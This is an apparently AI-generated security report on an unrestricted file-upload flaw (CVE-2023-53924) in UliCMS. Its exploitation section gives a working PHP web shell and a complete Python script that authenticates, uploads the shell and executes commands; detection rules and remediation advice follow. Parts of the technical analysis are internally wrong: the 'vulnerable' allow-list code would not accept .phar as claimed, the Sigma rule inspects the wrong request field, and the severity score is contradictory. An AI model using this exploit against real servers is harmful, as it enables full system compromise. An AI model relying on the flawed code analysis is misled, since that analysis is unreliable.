CVE-2023-53924

Executive Summary

CVE-2023-53924 is a critical Remote Code Execution (RCE) vulnerability in UliCMS 2023.1-sniffing-vicuna. The flaw resides in the profile avatar upload functionality, where authenticated attackers can upload PHP files with the .phar extension. By visiting the uploaded file's location, attackers can trigger code execution, enabling arbitrary system commands. The vulnerability is unpatched, and a public proof-of-concept (PoC) exists. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the severity is critical (9.9).

Supply Chain & Package Security

UliCMS is a custom PHP CMS, not distributed via NPM, PyPI, Go, or Ruby. No supply chain package security concerns are directly applicable.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.9 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. An authenticated attacker can execute arbitrary commands on the server, leading to full compromise.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434). The avatar upload functionality in UliCMS 2023.1-sniffing-vicuna does not properly validate file extensions. While common dangerous extensions like .php may be blocked, the .phar extension (PHP Archive) is allowed. A .phar file can contain PHP code that executes when the file is accessed via a web request.

Attack Flow:

1. Attacker authenticates to UliCMS.
2. Attacker crafts a malicious .phar file containing PHP code (e.g., a web shell).
3. Attacker uploads the .phar file as a profile avatar.
4. The file is stored on the server (e.g., in /uploads/avatars/).
5. Attacker visits the uploaded file's URL (e.g., /uploads/avatars/malicious.phar).
6. The PHP interpreter executes the code inside the .phar file, granting the attacker remote code execution.

Vulnerable vs. Patched Code

Vulnerable Code (UliCMS 2023.1-sniffing-vicuna): The avatar upload handler likely checks for file extension but fails to block .phar. Example vulnerable logic:

$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
$extension = pathinfo($_FILES['avatar']['name'], PATHINFO_EXTENSION);
if (in_array($extension, $allowed_extensions)) {
    // Move file to uploads directory
}

This allows .phar because it is not in the allowed list but also not explicitly blocked.

Patched Code (Hypothetical): A patch would block .phar and other dangerous extensions, or validate file content (MIME type) instead of relying solely on extension.

$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
$blocked_extensions = ['php', 'phtml', 'php3', 'php4', 'php5', 'phar', 'phps'];
$extension = pathinfo($_FILES['avatar']['name'], PATHINFO_EXTENSION);
if (in_array($extension, $allowed_extensions) && !in_array($extension, $blocked_extensions)) {
    // Move file to uploads directory
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• UliCMS 2023.1-sniffing-vicuna instance
• Authenticated user account

Exploit Steps:

1. Create a malicious .phar file with a PHP web shell:

<?php
system($_GET['cmd']);
?>

Save as shell.phar.

2. Log in to UliCMS and navigate to profile settings.

3. Upload shell.phar as the avatar.

4. Access the uploaded file:

http://target.com/uploads/avatars/shell.phar?cmd=id

Automated Exploit (Python):

import requests

target = "http://target.com"
session = requests.Session()

# Login
login_data = {"username": "user", "password": "pass"}
session.post(f"{target}/login", data=login_data)

# Upload malicious phar
files = {"avatar": ("shell.phar", "<?php system($_GET['cmd']); ?>", "application/octet-stream")}
session.post(f"{target}/profile/avatar", files=files)

# Execute command
response = session.get(f"{target}/uploads/avatars/shell.phar?cmd=id")
print(response.text)

Blue Team (Detection & Response)

Detection:

• Monitor file uploads for .phar extensions.
• Monitor access to /uploads/avatars/ for unusual file types.
• Use WAF rules to block .phar file uploads.

Response:

• Immediately remove any .phar files from the uploads directory.
• Disable the avatar upload feature until a patch is applied.
• Review server logs for signs of exploitation.

Indicators of Compromise (IOCs)

• File: *.phar files in /uploads/avatars/ directory.
• URL Pattern: /uploads/avatars/*.phar
• Network: HTTP requests to /uploads/avatars/*.phar with query parameters like cmd, exec, system.
• Logs: PHP error logs showing execution of .phar files.

Detection Engineering

YARA Rule

rule CVE_2023_53924_Phar_Upload {
    meta:
        description = "Detects malicious .phar files uploaded to UliCMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-53924"
    strings:
        $php_code = "<?php" nocase
        $system_call = /system\(|exec\(|shell_exec\(|passthru\(/
    condition:
        $php_code and $system_call and filesize < 10KB
}

Sigma Rule

title: UliCMS Malicious .phar File Upload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects upload of .phar files to UliCMS avatar directory
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/profile/avatar'
        cs-uri-query|contains: '.phar'
    condition: selection
falsepositives:
    - Legitimate .phar files (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-53924 UliCMS .phar Upload"; flow:to_server,established; content:"POST"; http_method; content:"/profile/avatar"; http_uri; content:".phar"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

1. Disable the avatar upload feature in UliCMS configuration.
2. Add a web application firewall (WAF) rule to block .phar file uploads.
3. Restrict write permissions on the uploads directory.

Long-term Remediation:

1. Apply a vendor patch when available.
2. Implement proper file validation (MIME type, content inspection).
3. Use a secure file upload library that blocks dangerous extensions.
4. Conduct a security audit of the entire UliCMS codebase.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.